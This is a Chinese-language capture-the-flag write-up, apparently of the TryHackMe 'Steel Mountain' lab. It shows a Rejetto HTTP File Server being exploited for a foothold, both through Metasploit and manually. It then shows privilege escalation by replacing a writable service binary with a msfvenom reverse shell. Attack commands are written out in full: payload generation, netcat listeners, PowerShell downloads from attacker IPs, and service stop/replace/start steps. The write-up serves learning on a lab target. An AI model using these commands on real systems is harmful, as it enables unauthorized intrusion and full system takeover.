找到本月最佳员工是bill Harper
发现运行在8080的是Rejetto HTTP File Server,然后去exploit上寻找利用漏洞
用msf获得shell
拿到了题目说的用户标志
权限提升
为了枚举这台机器,我们将使用一个名为 PowerUp 的 powershell 脚本,其目的是评估 Windows 机器并确定任何异常情况 - “PowerUp 旨在成为依赖于错误配置的常见 Windows 权限提升向量的交流中心。
您可以在此处下载脚本。 如果要通过命令行下载它,请注意不要下载 GitHub 页面而不是原始脚本。 现在,您可以使用 Metasploit 中的 upload 命令上传脚本。
上传成功了
然后我们可以通过meterpreter会话来加载PowerShell扩展,并进入 PowerShell的shell界面并执行脚本:
load powershell powershell_shell Import-Module .\PowerUp.ps1 Invoke-AllChecks
查看输出,有一个特定服务的 CanRestart 选项被设置为 true,此选项被设置为 true 后,我们就能够在系统上重新启动此服务;而且这个应用程序的目录也是可写的,这意味着我们可以用一个恶意应用程序替换合法的应用程序,一旦服务重新启动,我们的恶意程序将运行。
ServiceName :AdvancedSystemCareService9 ModifiablePath:C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
使用 msfvenom 生成反向 shell 作为 Windows 可执行文件。
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.66.42 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
上传您的二进制文件并替换合法的二进制文件。然后重新启动程序以 root 身份获取 shell。
进入普通的windows shell界面,我们先停止合法的服务运行,然后用恶意的二进制程序替换正常的同名应用程序文件:
shell sc stop AdvancedSystemCareService9 copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
关于SC命令(Windows shell不区分大小写):
SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues] Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\\myserver”)。如果是在本地运行SC.exe,请忽略此参数。 command :如query,start,stop,create,config等 Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。 Optionname= Optionvalues:是选项名和选项的值。
在重新启动服务之前,我们需要在攻击机终端中设置一个netcat侦听器:
nc -nlvp 1234然后我们可以在 windows shell 中重新启动之前停止的服务:
sc start AdvancedSystemCareService9 就可以得到一个root的shell不使用Metasploit获取初始访问权限并提权
注意:此处建议重启目标机。
现在,我们来看看如何在不使用 Metasploit 的情况下获得初始权限和进行权限提升。为此,我们将使用 PowerShell 和 winPEAS 来枚举目标系统并收集相关信息以提权到管理员用户。
我们还是使用之前提到的CVE编号所对应的漏洞来获取初始访问权限,然而,这次我们手动使用exp而不是通过msf来执行exp。
为了使这种攻击起作用,需要同时激活Web服务器和netcat侦听器,如果你的系统上还没有 netcat 静态二进制文件,那么你可以从GitHub下载。我们还将使用 winPEAS来枚举目标机系统信息。
netcat二进制文件:https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe
winPEAS(在下载页选择winPEASx64.exe):https://github.com/carlospolop/PEASS-ng/releases/tag/20221009
为了方便起见,我新建了一个文件夹放置刚才下载的三个文件(exp脚本使用之前--记得修改好ip和端口,下载的netcat二进制文件要修改名称为nc.exe):
然后需要开启3个独立的终端窗口来完成攻击:
终端1-通过python启用 HTTP web 服务器
#终端界面进入到/home/hekeats/桌面/SteelMountain目录 #python3 -m http.server 8000 无响应 python2 -m SimpleHTTPServer 80终端2-设置netcat 监听器
nc -nvlp 1234终端3-执行exp进行攻击(注意所用脚本的python版本)
#终端界面进入到/home/hekeats/桌面/SteelMountain目录 python2 39161.py 10.10.42.153 8080 #第一次执行会将SteelMountain/目录下的nc.exe上传到目标系统 python2 39161.py 10.10.42.153 8080 #第二次执行会发送一个反向shell回连到攻击机监听器在终端2界面 成功获取目标机的shell:
使用Powershell相关命令将winPEAS脚本拉取到目标系统上:
#使用终端2界面 cd C:\Users\Bill\Desktop #Format is "powershell -c "command here" powershell -c wget "http://10.14.30.69/winPEASx64.exe" -outfile "winPEAS.exe"
运行winPEAS脚本(枚举目标系统的信息,如服务名称等):
#使用终端2界面 winPEAS.exe #我们也可以运行powershell -c 命令手动查找服务名称:powershell -c "Get-Service"
运行winPEAS之后,查看输出的服务信息,观察在运行时"未引用路径"的服务名称
然后可以通过 PowerShell 将这些数据传输到目标系统中:
#使用终端2界面 powershell -c wget "http://10.14.30.69/ASCService.exe" -outfile "ASCService.exe"然后,我们可以停止合法的服务运行,并用我们的恶意二进制文件替换应用程序文件:
sc stop AdvancedSystemCareService9 copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"在重新启动服务之前,需要在本地机器上使用创建有效负载时引用的端口设置一个netcat侦听器:
#使用终端3界面 nc -lvnp 4444当攻击机上的netcat侦听器正在运行时,可以在目标机上重新启动刚才停止的服务:
#终端2界面 sc start AdvancedSystemCareService9在目标机上重启服务之后,攻击机将获取到反向shell,权限为管理员级别,现在在攻击机界面操作:切换到 Administrator 的 Desktop 目录并获取 root.txt 文件
#在终端3界面 cd C:\Users\Administrator\Desktop dir more root.txt 后续和meletaerpe一样 大概思路拿到普通shell上传枚举工具查看服务应用有无漏洞,然后利用替换文件,去让系统执行该文件,像极了cron任务,替换任务让高权限用户去运行,返回他的高权限。 结束,还需要好好学习。 标签:shell,服务,钢铁,THM,exe,终端,netcat,界面 From: https://www.cnblogs.com/trymonoly/p/17893899.html